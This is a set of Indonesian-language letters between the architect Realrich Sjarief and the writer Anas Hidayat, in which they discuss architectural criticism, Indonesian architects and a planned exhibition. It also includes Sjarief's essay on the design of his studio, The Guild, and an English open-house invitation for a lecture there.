Hari ini, sudah akan ada progress untuk instalasi kita, saya akan kirimkan ya, semoga dua tarikan, paradoks, yang terjadi akan membuat kita semakin banyak belajar, dan berkembang, Mas Anas maaf kalau sedikit meledak – ledak, soalnya lama saya belum balas, jadi ide – ide ini menumpuk, baru sekarang disalurkan, Mas kalau sempat kita buat tulisan dialog ini semakin meledak – ledak, saya juga suka sikutan sikutan sampeyan. ha ha.

salam semesta,

Realrich

Rabu, 22 Juni 2016
Dear Mas Realrich Sjarief yang baik,

Selama sekitar tiga minggu setelah pertemuan kita, saya mengalami semacam terpaan gelombang-gelombang yang semakin cepat dalam pusaran. Saya seperti tidak percaya minggu lalu sudah datang ke Jakarta, seperti mimpi saja ketika memberikan lecture di open house-nya RAW/The Guild. Saya juga berpikir, setelah kita saling berkirim email, sampeyan yang arsitek saja masih bisa dan sempat-sempatnya menulis begitu panjang dan bernas. Sedangkan saya yang mengaku architext malah seringkali terlambat menulis, terlalu lama dipendam di kepala dan tak lekas dikeluarkan dalam tulisan (mungkin terlalu banyak pertimbangan, haha, atau kepala saya sudah terlalu kacau, hmmm..)

Saya rasa, tidak banyak arsitek yang bisa melakukan seperti yang sampeyan lakukan (mendesain, menulis, menyeni, dan entah apa lagi). Saya juga percaya, jika arsitek bisa mengungkapkan apa yang ada di kepalanya, maka apa yang dia kerjakan dengan tangannya akan lebih mudah dipahami dan diterima oleh orang lain. Sebuah kesatuan antara kepala, tangan, kaki, mulut, telinga, mata dan bahkan perut (saya masih yakin juga bahwa arsitektur selalu berurusan dengan perut – selain dengan hati dan otak, seperti sering diajarkan dalam metode perancangan).
Mas Realrich, saya sangat suka dengan cerita-cerita sampeyan tentang para arsitek. Misalnya tentang pak Irianto PH yang katanya mau datang ke kantor sampeyan. Menurut saya, dia tidak sedang melirik ke “sekuntum bunga yang mekar”, tetapi sedang menengok ke “sebuah sarang yang sedang bergejolak” (gejolak positif, bukan negatif), yang menyimpan gelegak pembaruan di arsitektur Indonesia yang sampai saat ini masih mengalami makropsia, kurangnya iklim dialog/diskursus yang bermutu, dll. Ini sarang yang para penghuninya siap nge-trance, dan saya akan terus menunggu ledakan-ledakannya.

Kalau tentang karya terbaik menurut teman sampeyan seperti yang mas Rich ceritakan, yang dipandang secara sempit dari “kacamata kuda”, hmmmm,, saya rasa begitulah cara banyak orang kita dalam melihat karya. Kalau dari pandangan hermeneutik, saya pikir itu sejenis penafsir yang kurang kreatif, yang level horisonnya masih “rendah”, yang ingin membongkar candi dengan kunci inggris, atau ingin menservis arloji memakai pedang samurai (malah terlalu sarkastis, hahaha). Hmmm, saya jadi ingat kata2: “dalam dunia kecap, tidak ada nomer dua (karena semua nomer satu), dalam dunia arsitek, tidak ada nomer satu (karena semua punya nilai/pandangan/karakter sendiri yang jelas tak bisa dibandingkan secara simple saja seperti membandingkan pisang goreng dan kue lemper).”

Senang diceritain buku The Power Paradox-nya Dacher Keltner. Tentang power, yang berseliweran membentuk tegangan-tegangan. Power-nya Machiavelli, Will-nya Nietzsche sampai Desire-nya Deleuze memang menarik untuk diikuti. Sampai-sampai sampeyan membikin antitesisnya: Sumarah (menyerahkan diri). Mungkin nanti akan ada sumeleh (meletakkan hati) atau sumrambah (menyebar ke mana-mana). Antitesis itu membuat tegangan-tegangan akan makin dinamis, membuat pusaran semakin mendebarkan…
O iya, saya belum pernah membaca bukunya pak Yuswadi Saliya yang berjudul “perjalanan malam hari” (sekaligus ngarep dikirimi dari Jakarta, hehehe). Ya memang dalam dunia praksis yang kadang-kadang begitu pragmatis (dan ekonomis), perlu seorang begawan yang selalu mengingatkan, atau membantu merenungkan tentang profesi arsitek. Bukan sebagai (sekedar) pekerjaan belaka, tetapi sebagai panggilan semesta. Kalau kita balik menjadi “perjalanan menuju pagi” bisa jadi lebih seru. Semacam perjalanan “habis gelap terbitlah terang”. Kita memang harus optimis bahwa pagi akan tiba, saatnya beraksi di bawah matahari kesadaran…

Saya kemarin sudah bikin sedikit tulisan tentang “sarang” untuk kolaborasi kita. Mungkin masih belum matang sih, akan saya coba untuk lebih menajamkannya lagi…
salam,

Anas

Kamis, 16 06 16

Dear Mas Anas Hidayat yang baik,

Ketika pusaran itu bergerak, dan mungkin saja kejujuran menjadi penting, karena semua hilang arah, karena arsitek kehilangan kuasanya karena percepatan pertumbuhan jaman, dengan gejala – gejala hati yang sombong, dengki dan penuh angkara murka tanpa adanya kuasa. Saya sangat tertarik dengan bahasa hermeneutik sampeyan, dengan tafsir – tafsir yang mendasar yang sebenarnya menyadarkan kita semua, bahwa kita perlu percaya kata hati kita, bahwa kita adalah singa yang ada di alam bebas, bukan singa yang ada di sangkar besi. Penyentuhan presentasi njenengan adalah penyentuhan hati, yang bisa menyentil orang yang pintar menjadi marah, dan tidak terima, dan ketika kita sadar, ternyata yang diarahkan adalah bukan hitung – hitungan belaka, namun ini adalah soal hati.

Soal peran arsitek menjadi 1 %, mungkin kita semua disadarkan untuk harus selalu dekat dengan tanah, karena memang kuasa kita adalah ketika kita masih mengerjakan project tersebut. Ketika karya tersebut selesai dan tuntas peran kita, maka peran arsitek menjadi 1 %, dan memang 1% oleh karena sekarang saya menjadi bisu, mas anas saya tantang untuk mengambil 99 % tersebut dan mengambil alilh peran arsitek, menjadi peran tafsir untuk kebaikan publik.

Mas Anas, baru saja satu adik yang saya kenal mengabarkan bahwa ada satu arsitek senior, yang terkenal emosional, blak – blakan, ganas, dan rupawan dan ganteng, ingin datang mendatangkan satu kantornya ke theguild untuk berkunjung, namanya pak Irianto Purnomo Hadi dari antara architect. Ndalem sangat penasaran kenapa beliau ingin datang, mungkin saja, ini dari tebak – tebak tanpa maksud apa – apa bapak itu penasaran mendengar dari anak kantornya ketika acara kemarin, semesta sedang bergerak, dan sebaiknya kita menyambungnya dengan gegap gempita, gelap atau terang, mungkin saja kita akan bertemu pendekar atau guru yang belum terlihat, tokoh – tokoh baru. Mungkin saja ada tokoh – tokoh yang lain muncul satu persatu, dan memang ini pusaran bergerak saling tarik menarik yang sudah dimulai, ditanggapi dan diteruskan dalam langkah – langkah selanjutnya, syukur – syukur kalau orang – orang itu bisa ikut nge trance dan joged bareng, dan kemudia kita bisa berdialog juga, bermimpi bersama.

Saya ada cerita bertemu teman baik saya di satu acara di pameran di casa kemarin, dan ia bercerita tentang bahasa batu bata yang baru ia lihat, katanya arsitektur itu adalah arsitektur terbaik jaman sekarang, karya itu adalah karya seorang arsitek senior. Saya melihat foto – fotonya, dan sempat takjub, memang itu adalah satu karya yang luar biasa. Luar biasa karena konsistensi permainan detail, pengolahan ruang dalam – luar, terkejut, tenang, dengan permainan – permainan cahaya. Namun, saya kemudian berpikir, apa itu terbaik, dan apa ada yang terbaik ? Apa perlu ada sesuatu yang terbaik ? Kita mendapatkan terbaik mungkin untuk mendapatkan satu contoh yang ekstrim dengan permasalahan yang dipecahkan secara spesifik, tentunya sudut pandang dalam melihat kualitas menjadi penting.

Saya pun iseng saja sebenarnya menimpali, bahwa ia perlu pergi ke India, untuk melihat satu master disana yang sudah membangun 35000 rumah dan memiliki arsitektur yang jujur untuk memecahkan masalah cuaca, konstruksi, pemilihan material, dan pengolahan bahasa arsitektur yang eksotis sarat akan alasan dan intuisi (Laurie Baker) , ataupun ia perlu ke Italia untuk melihat kekayaan detail yang didesain oleh Carlo Scarpa, atau malahan melihat Pohsarang Kediri dengan pembahasan ndoro klepon yang sampeyan tuturkan didalam buku Arsitektur Koprol mengenai lokalitas dan inovasi yang melewati keterbatasannya, atau lebih – lebih lagi arsitektur turen yang dibangun oleh santri – santrinya atas nama cinta. Bahwa ada arsitektur yang berupa – rupa dan unik – unik berbeda dengan arsitektur yang disampaikan tergantung sudut pandang yang ingin diciptakan. Arsitektur unik – unik ini memberikan warna – warna yang berbeda dalam kebudayaan dunia yang pluralistik, oleh karena itu, apakah pantas argumen terbaik itu muncul, mungkin saja, namun argumentasinya kalau hanya simplistis berupa kesan, gambar, tanpa memahami satu gambaran yang utuh adalah mungkin saja benar atau mungkin saja sedang tersesat. Saya melihat dibalik kedigjayaan yang ada, inovasi arsitektur dari gambar tersebut masih bergulat diantara wabi sabi, imperfect but perfect, seperti kevin Mark Low, atau Alvar Aalto, maka saya perlu kesana untuk mengalaminya secara langsung., Pada saat terakhir berdebat, ada satu kalimat yang membuat saya terhenyak bahwa setelah kita berdiskusi , katanya ia membatasi pembahasan karya yang kita perdebatkan yang hanya ada di Indonesia, dan tidak melihat negara lain, saya merasakan sedang dikentutin, dan itu bau kacang mente, ha ha, inilah sebabnya kalau menilai tanpa sudut pandang, pasti akhir – akhirnya bau kentut akan keluar.

Secara sikap, saya kemudian membayangkan seakan – akan kita ada di jaman 1800 dimana di Inggris taman – taman publik dibatasi oleh pagar – pagar besi dan hanya orang- orang ningrat yang boleh pergi ke taman. Pagar tersebut adalah representasi batasan terhadap informasi, seketika paradigma pembicaraan menjadi sempit sayangnya tanpa sudut pandang mengapa satu karya itu dianggap terbaik, bukan mau – maunya sendiri nilai sini nilai situ, lagian siapa lu siapa gue ? maaf kalau sedikit sarkasme atau sinis.

Terus terang saya sangat bahagia membaca tulisan njenengan yang berjudul The Gerundelan of 99,9% The Guild: Arsitektur Jaman Edan-Urban-Scarpan-Deleuzian , yang memiliki penafsiran seperti itu, saya tidak akan berkomentar apa – apa, hanya bahagia dengan respons yang ada, berarti ada dialog yang semakin intens antara kita, saling babat, tendang. sikut, pukul ataupun belai membelai, dari benci menjadi cinta, dan sebaliknya, dua tegangan yang berbeda.

Mas anas, saya baru mendapatkan buku bagus, yang judulnya The Power Paradox tulisan dari Dacher Keltner, disini ia membahas mengenai, buku machiavelli, the prince mengenai bagaimana mendapatkan kekuatan dunia. Sumarah memberikan antitesi dari apa yang ditulis oleh machiavelli, namun buku yang ditulis oleh Keltner ini, memberikan sebuah perspektif mengenai kekuatan paradox, dari tegangan – tegangan pada kondisi ekstrimnya masing – masing yang ada disitulah muncul kekuatan apabila kita bisa mengambil paradoks yang terjadi. Di balik sebuah krisis ada sebuah peluang, pertanyaannya, dengan sebegitu problem profesi kita, mungkin saja kita belum mengambil manfaat darinya, dengan mempertimbangkan peluang – peluang yang ada.

Dari masalah disitulah adanya manfaat, mungkin saja kuncinya adalah bukan di arsitek tapi di ketukangannya, mungkin saja kuncinya malah di teknologi bangunan, bukan di programming, mungkin saja lebih – lebih lagi kuncinya adalah pola pikir (paradigm) bukan programming, seperti yang dibahas Collin Rowe, apakah kita mendesain programnya dulu, atau bangunannya. Kita semua di tangan manusia – manusia yang disebut arsitek ini, bandul keseimbangan di antara tegangan tersebut bisa dimainkan olehnya, bukan dipermainkan olehnya. Mungkin dari situ perlunya keahlian saja dalam aspek – aspek diluar arsitektur, terutama mengenai hati dalam bersikap, perlunya training yang matang, dan sikap dekat dengan bumi.

Mas Anas sudah pernah membaca buku perjalanan malam hari yang ditulis oleh pak Yuswadi Saliya ? Saya pikir setelah saya membaca buku itu, saya mungkin berkesimpulan, beliau kecewa dan apa iya lagi frustasi ya dengan iklim kita. Kebisaannya dalam tuturkata, melahirkan sebuah tulisan yang berisikan kompleksitas profesi kita yang carut marut yang disusun dengan runtun.Kalau tidak ada nanti bisa saya kirimkan satu dari Jakarta, sepertinya saya punya lebihan di perpustakaan. Sempet saya iseng saja berpikir gimana kalau judulnya kita balik, menjadi perjalanan menuju pagi, seakan – akan ada optimisme untuk arsitektur yang lebih baik lagi, dari situ ada kekreatifitasan untuk menjaga arsitektur kita lebih baik lagi, yang saya yakin dengan arsitektur yang baik, maka profesi akan lebih baik lagi, tentunya dengan landasan hukum, pranata, dsb dsb.

Kondisi kesehatan saya sedang turun, dari acara kemarin sampai ke pekerjaan – pekerjaan yang menuntut kita untuk berkomitmen. Maklum mungkin ini sedang mau lebaran, jadi semua senggol – senggolan, ingin berdialog, saya pikir ini wajar, hanya saja sekarang sedang musim penyakit flu jadi kena juga. Sedikit istirahat pasti bisa membuat segar kembali, apalagi setelah membaca, The Gerundelan of 99,9% The Guild: Arsitektur Jaman Edan-Urban-Scarpan-Deleuzian, saya pun menjadi segar. Mas Anas untuk pameran IndonesiaLand kita nanti saya persiapkan dulu ya, bagaimana kita bisa saling membelah diri, namun rangkaian prosa- prosa ini bisa menjadi satu pelengkap untuk dialog yang manusiawi, karena kita kan manusia ya bukan alien ataupun monster jadi – jadian ha ha ha. Namun sudah jelas nanti kita berkolaborasi ya,

Salam,

Realrich

Dear Mas realrich Sjarief yang baik,

Terimakasih atas cerita-ceritanya yang menyegarkan, tentang Boss Utara dan tentang Andra Matin, juga tentang Pendidik Utara. Lakon-lakon penting yang malang-melintang dalam pusaran arsitektur kita. Saya suka sekali dengan metafor “pusaran” yang sampeyan sampaikan (sejak di Artotel minggu lalu), ada semacam kedinamisan, sekaligus juga permasalahan dan kompleksitas di sana. Hmmm… sampeyan masih sempat-sempatnya menulis panjang di sela-sela kesibukan senin ke senin, rabu ke rabu. Benar-benar Architrance… hehehe…

O iya, saya sangat tertarik untuk tawaran kolaborasinya, ayo kita mulai. Wastumiruda sebenarnya sudah lama ingin turun gunung, hanya menunggu waktu yang tepat saja. Dan rasanya, saat ini adalah waktu yang tepat, ketika saya bertemu dengan seorang Architrance dari Batavia Barat, yang kadar trance-nya sudah mulai menyeruak dalam pusaran.
Saya ingin membahas sedikit tentang celah, atau pintu kecil (ini terpikir dari jalan masuk 60 cm yang sampeyan paparkan). Di Serat Jatimurti (sebuah kitab lama Jawa yang membahas dimensi), ada bahasan tentang Alam Kajaten (Alam Kesejatian), yang menyebutkan bahwa alam kajaten itu merupakan alam yang bisa menampung yang tak terbatas, bahkan bisa menampung seluruh isi semesta.
Saya menafsirkan alam kajaten itu sebagai “pintu” (bisa berupa celah, lorong atau lubang). karena “kekosongan” pintu berbeda dengan “kekosongan” ruang (space). Jika ruang pada hakekatnya berupa volume yang bisa menampung sekian orang (dan bisa sesak, atau penuh), sedangkan pintu bisa dilewati ratusan, ribuan, dan bahkan jutaan orang, mungkin sampai angka tak terbatas dan tak pernah penuh (karena pintu kodratnya untuk dilewati/dilalui, bukan didiami/diduduki/dikuasai).

Untuk acara hari Minggu, saya tidak ada usulan, saya sudah pas diletakkan di awal, sebagai sebuah pancingan agar penafsir-penafsir lebih bebas mengungkapkan apa yang ingin mereka sampaikan. Kalau untuk profil saya, cukup ditulis: Architext saja. Atau kalau mau agak panjang: Architext lulusan S1 (Arsitektur) dan S2 (Perancangan dan Kritik Arsitektur) ITS Surabaya, yang sedang menulis beberapa buku (termasuk Buku 15 Cerita), Dosen (UKDC dan UPN Veteran Jatim Surabaya), dan Dalang Wayang Arek (meskipun jarang manggung, hehe)

Setelah membaca 99% The Guild, rasanya saya ingin cepat-cepat datang untuk melihatnya secara langsung sebagai experiencing. Dari deskripsi sampeyan, saya rasa ini studio yang hidup, yang lahir dan berproses dari pergulatan, dan layak untuk diapresiasi publik. Yang setelah minggu sore besok segera berubah menjadi 1% The Guild, karena arsiteknya Bunuh Diri (hahaha..), dan publik dengan leluasa akan menafsirnya. Ini saya singgung juga di paparan saya untuk acara minggu sore besok.

sampai ketemu di acara besok,
salam,

Anas Hidayat


Dear Mas Anas Hidayat yang baik,

Mohon maaf saya baru membalas surat ini. Hari senin dan hari selasa sampai rabu biasa menjadi hantaman terbesar dalam kondisi berpraktek, kita punya inisiasi energi selama hari – hari awal minggu supaya bisa beristirahat di akhir minggu. Sebenarnya dipikir – pikir hidup itu sederhana, dari senin sampai senin, selasa sampai selasa, rabu sampai rabu, dan seterusnya, usaha kita menjalani hidup – hidup ini ya usaha yang untuk bisa hidup saja.

Saya mengidentifikasi wastu miruda dengan njenengan karena memang itu pemikiran, yang saya berandai andai ada pemikiran, perbuatan, hati, setidaknya ini bisa menelisik siapa itu anas hidayat. Mungkin saya ini menurut archilexicon wastumiruda adalah architrance= arsitek kesurupan mas ha ha ha. Terus terang membaca wastumiruda, seperti kembali ke saat – saat subtil, mungkin karena memang ruang hampa itu diciptakan sebagai jeda dalam keseharian, disinilah saya berpikir komunikasi ini menjadi penting.

Minggu kemarin selepas dari Bandung dan Surabaya, saya berkesempatan berkunjung ke satu lakon yang cukup penting, ia bisa kita namakan boss utara selain pendidik utara si David Hutama. Nama si boss ini Sonny Sutanto, unik karena saya menemukan pendekatan yang biasa – biasa dan wajar dalam berproses, beliau memang arsitek yang menangani banyak kasus komersial, namun disitu saya merasakan ada struktur, ada kategori, ada satu pranata yang dibuat dengan baik. Setiap desainer dikotak – kotakan supaya bisa punya otoritas, dan drafter ditempatkan di satu tempat terpusat, si boss ada di tengah – tengah semua dengan akses langsung ke perpustakaan. Detail arsitekturnya diwarnai oleh dekoratif dan quote ada di letakkan di courtyard yang menyatukan fungsi – fungsi yang ada. Yang menarik adalah buku yang diedit oleh David Hutama. Karena buku ini menunjukkan kekompleksitasan profesi arsitek kita di dalam rentang waktu 20 tahun terakhir, sehingga informasinya bisa digunakan untuk kita – kita yang muda ini dalam menapaki profesi kita yang tidak teratur, dan lemah akan apresiasi dalam dan luar.

tampak depan kantor Sonny Sutanto Architect
tampak depan kantor Sonny Sutanto Architect
area foyer sekaligus tangga dengan desain kulit terracotta
area foyer sekaligus tangga dengan desain kulit terracotta
Proses Pembangunan yang ditampilkan
Proses Pembangunan yang ditampilkan

Ini kontras dengan buku yang baru dikeluarkan oleh Andra Matin, yang simplistis, minim akan informasi, hanya berubah interview satu arah dan minim akan penjelasan gambar dan tekstual. Saya kemudian bertanya – tanya, apakah ini karena cepat – cepat, atau memang saja karakter andra matin yang simplistis dan easy going ataupun yang hangat dan cepat dekat dengan siapapun. Mungkin inilah contoh adanya dua tegangan yang berbeda akan pola pikir yang berbeda juga, saya yakin proses pergumulan perumusan buku Sonny Sutanto sangat besar, dan membutuhkan waktu yang lama. Selepas dari berapapun biaya dijual bukunya, yang saya pikir itu lebih ke dalam hal – hal bisnis dan tidak esensial dalam membicarakan bagaimana satu karya itu dibedah. Saya harus memberikan apresiasi kepada mata air yang mulai muncul satu persatu dengan tegangan – tegangn berbeda . Sayangnya si pendidik utara ini sebentar lagi pergi ke negara kuda besi, saya harus kehilangan teman sepemikiran, oleh karena itu mas Anas jadi semacam, penyegar, semoga kita bisa mendapatkan penyeimbang dalam alfa yang muncul kembali untuk membentuk omega yang akan datang sebentar lagi.

Kembali ke obrolan surat- surat kemarin, kebetulan saya diundang bu Sarah ginting dan Chobib untuk berpameran di Indonesia Land, membuat instalasi lagi. Sebenernya saya capek berpameran ini, karena kondisi praktek yang sudah menyibukkan, namun berpikir juga bahwa ini adalah satu momentum untuk berbagi ke publik, disaat pameran ada kita bisa punya agenda untuk berbuat kebaikan.

Saya berpikir ya mas, kalau – kalau wastumiruda mau turun gunung, ayo kita pameran bersama. saya ajak mas anas hidayat kolaborasi, saya sudah bicarakan dengan Sarah dan Chobib, dan mereka manggut – manggut excited melihat architrance = arsitek kesurupandi depan mereka sepertinya ha ha ha. Kalau mau ya, nanti disiapkan ya text ataupun pemikiran, tentang wastumiruda, kebetulan kita punya banyak jejak – jejak kehidupan di studio saya, jadi mungkin setelah pavillion sumarah kemarin, mungkin bisa jadi kita bisa buat satu instalasi hyper small, hyper complex, maze, terbuat dari kotak – kotak rubik cube, dimana orang masuk diberikan jalan 60 cm, pas tidak lebih tidak kurang, mengikuti alur yang sebenarnya pengunjung tidak mengetahui apa akhirnya. Itulah cerminan budaya kita mungkin, komplekse, disorder order, paradoks. mungkin tekstual bisa mengiringi dan dalang pun bisa mulai berpantun, berdongeng untuk cerita – cerita di masa lalu masa kini dan masa depan.

O Iya hari ini akan diatur sama kantor saya ya untuk tiket surabaya jakarta, dan akomodasi selama disini satu hari, monggo mawon kalau ada usulan mengenai acara, saya buatkan publikasinya 1 2 hari kedepan soal mas anas ya, apa bisa dikirimkan profil njenengan, ya saya buatkan judul lecturenya 1 % yang dinanti, kalau mau diganti silahkan ya:

ada 2 hal yang mau saya share lagi, pertama tulisan soal 99% theguild, dan ada breakdown acara dari website, saya tuliskan satu – satu dibawah ya, yang ketiga ada di attachment itu brosur untuk acara kita di hari minggu

1. 99 % The Guild
99% The Guild adalah refleksi sebuah pemahaman terhadap kondisi dua jalan pemikiran proses desain yang paradoks. Pemahaman pertama diukur dari pergumulan manusia tentang mencipta ruang dari bentuk – bentuk yang sudah pernah diketahui dengan kombinasi bentuk baru yang kemudian dicari kembali kegunaannya dari pengalaman – pengalaman masa lalu. Ini adalah bentuk pelatihan tanpa henti sehingga terkulminasi di dalam momentum begitu desain itu diciptakan sesuai citranya dengan perjalanan panjang. Ini adalah soal definisi sekaligus fungsi supaya mempunyai nilai kejujuran dalam produk dan proses. Disinilah proses kreatifitas selalu berusaha menembus batas dari batasan yang mengelilinginya dari angan – angan dari arsitek menuju coretan garis, seluruh aktualisasi pengalaman dalam coretan – coretan garis pertama, kedua dan seterusnya.

Pemahaman yang kedua adalah ukuran hubungan manusia dari dalam ke luar. Ini adalah cerita bagaimana memanfaatkan segala keterbatasan lokasi, juga manusia – manusia pembuatnya, lokasi dan cuaca yang ada , dan manusia – manusia yang akan menggunakannya. Disinilah ada proses negosiasi dari keterbatasan sumber daya, waktu, dan lebih – lebih lagi keterbatasan pemikiran dengan orang – orang sekitar, disinilah adanya proses transfer ilmu pengetahuan, yang disengaja ataupun tidak disengaja dalam satu proses yang alamiah dalam proses mencipta arsitektur yang rasionalis juga impulsif, dan intuitif.

The Guild dimulai dari , sebuah studio di dalam garasi berukuran 3 m x 10 m yang memulai titik pertamanya, menorehkan garis, dari satu ruang yang bercat hitam minim akan cahaya, yang memiliki keterbatasan ruang ergonomi yang ekstrim di rumah orang tua saya, dimana batas nyata – nyata terlihat mewarnai derap langkah kawah candra dimuka tersebut . Garasi Itu adalah tempat dimana desain digodok, dari mentah menjadi matang menanti supaya daya energinya bisa diledakkan dalam kekuatan tangis dan tawa dalam kenangan yang sudah menghujam jantung pikiran dari senin menuju senin, dari subuh menuju subuh, dari senja menuju senja, dari hari raya ataupun hari – hari biasa. Kemudian pertanyaan muncul mengenai apalagi bentuknya setelah babak pertama selesai dan babak kedua siap dimainkan ketika memang waktunya sudah tiba untuk pindah ke tempat yang baru.

Proses desain The Guild dimulai dari sebuah kombinasi program rumah, kantor RAW , dan perpustakaan arsitektur omah library yang didesain berupa kotak berukuran 12 m x 12 m menggunakan grid 6 m dengan perhitungan untuk mengurangi sisa bahan konstruksi baja, dengan teritisan panjang, kantilever baja berekspresikan semen, kayu, baja, dan material yang transparan. Permainan terbuka – tertutup didasarkan atas pertimbangan skala ruang dan pertimbangan untuk untuk menangkal cahaya matahari di antara jam 9 pagi sampai jam 4 sore dengan perhitungan bahwa setiap material tersebut punya thermal konduktifitasnya sendiri – sendiri. Pertimbangan tersebut terkulminasi menjadi perhitungan bentuk dari ketinggian, besar dan kecil, penempatan dan sudut – sudutnya pada sisi atas bangunan, pada sisi kulit luar bangunan.

Omah library diletakkan di sisi terluar, perimeter dan setengah di bawah ketinggian 0.00 karena pertimbangan akses publik dan kebutuhannya yang membutuhkan kondisi untuk menjaga buku – buku dari terik matahari, dan temperatur yang konstan dengan sesedikit mungkin menggunakan penghawaan buatan dengan akses akhir adalah sebuah ruang penyatu dari ketiga fungsi yang ada.

Bangunan dibagi kedalam zona publik dan privat seiring dengan bertambahnya lantai, makin ke atas makin privat, dengan pertimbangan akan bangunan yang modular, sirkulasi yang memudahkan orang untuk menggunakannya sesuai dengan 3 program : perpustakaan, studio, dan kediaman. Studio RAW didesain dengan bentuk yang kotak total 3 lantai dengan floor to ceiling sebesar 2.1m dengan permainan solid void, lengkung dan bidang lurus untuk memecahkan floor to ceiling yang cukup pendek. Area desainer, associate, dan administrasi disatukan dengan satu buah ruang tengah berukuran 3 x 6 dengan mezzanine di tengah – tengahnya yang 3 fungsi ini adalah jantung dari kantor arsitek. Ruang prinsipal ada di daerah dekat dengan ruang keluarga, terpisah dari kantor dan disinilah tempat pertemuan kantor dengan pihak luar menghadap ke taman yang merupakan ruang penyatu dari OMAH ruang keluarga dan studio RAW

Akses langsung dari studio RAW dan ruang keluarga yang multifungsi dihubungkan dengan foyer 2 x 2 m dengan pintu masuk yang sama, menunjukkan bahwa orang – orang yang bekerja di dalamnya diterima sebagai satu keluarga besar. Hanya ada satu kamar tidur disini, yang memiliki ruang keluarga sendiri di lantai atas dari ruang keluarga berukuran 4 x 12 m.

Terkadang bisa terlihat ada kenakalan – kenakalan bentuk yang tidak terduga, sebagai interpretasi bahwa arsitektur juga tidak lepas dari mimpi, dan coretan – coretan garis lengkung dan tegas yang, bahwa aktualisasi adalah sebuah fungsi juga dengan takaran yang wajar. Pengolahan – pengolahan detail selanjutnya adalah bagaimana mengaktualisasikan ke dalam fungsi bagaimana struktur dari detail berdiri, bagaimana kemudahan proses perawatan, dan bagaimana menambah efisiensi seperti memperkecil beban dengan memilih material dan bentuk sambungan yang tepat untuk memperkecil biaya dan menambah kompleksitas bahasa detail dalam bentuk yang terpikirkan dan terkomunikasikan dengan tukang – tukang dari waktu ke waktu. Intensi dari detail yang didesain ada 3 , yaitu desain berusaha untuk memperkecil volume barang yang dipakai (efisiensi biaya) , memperbesar celah – celah kretifitas pekerjaan tangan (ketukangan) , memperingan berat dari volume yang didesain (kemudahan prefabrikasi).

Sistem pengairan berjalan secara otomatis, dengan menerapkan zero greywater run off, dan zero storm water run off yang berarti seluruh air ditampung ke dalam bak retensi dengan kapasitas 8 m3 dan bak resapan berukuran 2.75 x 3 m dengan kedalaman 1.5 m yang menyumbang resapan juga ke tetangga yang diletakkan di depan lokasi The guild karena permasalahan banjir yang dihadapi pada saat hujan tiba, menimbulkan genangan air sekitar 500 m2 dengan kedalaman 10 cm di jalan depan.

The Guild adalah sebuah permulaan dari sebuah kantor yang mungkin biasa – biasa saja, desain kantor ini juga tidak spesial, seiringnya waktu, proses, pengunjung, orang – orang pernah , sudah, dan akan datang, menggunakannya dalam porsinya masing – masing bebas untuk berintepretasi, berkhayal, ataupun sedih, dan juga tertawa dalam kesehariannya yang wajar. untuk memberikan pemikiran interpretasi yang tanpa dibuat – buat, dengan seminim mungkin gincu dalam canda tawa ataupun celotehan yang merupakan identitas dari tiap orang – orang yang unik – unik. Disini ’The Guild’ menekankan arsitektur adalah pengajaran semesta mengenai mendapatkan teman, mencipta ruang, dan melepaskan diri sendiri dalam satu proses yang penuh pembelajaran untuk mengenal batas, dan dunia luar tanpa perlu mengharapkan apapun, apalagi tepuk tangan yang megah.

Kita sendiri perlu berkaca cermin dan mata pada Yue Min Jun, ia menertawakan dirinya sendiri dalam karyanya, dan membuat representasi dari kesulitan, problema, dan nafsu yang membelenggunya dengan tertawa dengan mukanya sendiri.

Di dalam dua pusaran pemahaman yang paradoks : dari luar – menuju dalam, dari subtil menuju kontras, dari angan – angan menuju kenyataan, arsitektur the guild kemudian bisa terbentuk. Rahayu kemudian muncul, untuk menemukan keseimbangannya.

Kata 99% berarti adalah sebuah proses yang hampir selesai dimana semua karya akan mengalami hal serupa dimana 1% adalah hasil interpretasi dari pengunjung, pengguna, dan 99 % adalah hasil dari kerja keras seluruh pihak dalam proses pembuatan. 1% dibutuhkan untuk melengkapi 99% menyadi 100 % dimana kekuatan kritik, interpretasi, dan gelak tawa dilantunkan untuk menandai perasaan cinta ketika satu karya dinilai, dirubah, dan diredefinisi lagi untuk kebutuhan di masa depan. tanpa 1 %, 99 % tidak akan menjadi 100 % oleh karena itu, karya dari arsitek seharusnya terbuka dalam produk dan proses untuk semua orang untuk melengkapinya.

Realrich Sjarief

2. ini break down acara dari website ya :
99% The Guild : Open House

We Glady invited you to come to 99 PercentThe Guild : Open house, new home of RAW, Omah Library, and Residence of realrich and family . Please RSVP, to book your schedule, in

https://docs.google.com/…/1AZG_hziz3wFGyLE9mLUCNqe…/viewform

There will be a lecture by Anas Hidayat titled 1 percent yang dinanti, about the death of the architect after the work is born and sharing of the craftsmanship process with the team involved to attract discussion and further response. We need you to RSVP because space is limited, there will be food for people who are fasting at 6 pm after the lecture.

The term 99 % is a process of almost finished which every work is always faced where 1% is left to the future, where work is occupied, changed, redefined by further need. The work of architect processed based on its expedients, alchemy, and experiments during the process of the making. Expedients are about the resources available in the process, alchemy is about the relationship along the persons inside the making, and experiments is more into the product driven by expedients and alchemy. The discussion about this work is based on this 3 category to uncover the relationship in the process of making of the guild which we are all hoping to hear, see, and learn from its 99% product and process. The process of living inside the cluster is always evolving, in this open house, but the process will be opened and shared, for critics and restless spirits just for evaluating the process and product.

invitation card will be given after RSVP because the space is limited. Thank you, see you allDear Mas Realrich Sjarief yang budiman,

Mohon maaf saya baru bisa membalas surat sampeyan hari ini, kemarin saya baru dari Purwokerto, Jawa Tengah naik KA bolak-balik, untuk mewawancarai salah satu arsitek yang masuk dalam Buku 15 Cerita.

Kembali ke pembicaraan awal kita. Sampeyan sudah membaca Wastumiruda ya, hehe. Dan sampeyan malah mengidentikkan saya dengan Wastumiruda, hmmm.. sebenarnya tidak terlalu identik sih, meski saya akui bahwa saya menggunakan Wastumiruda sebagai corong untuk mengungkapkan ide-ide dan pemikiran saya.

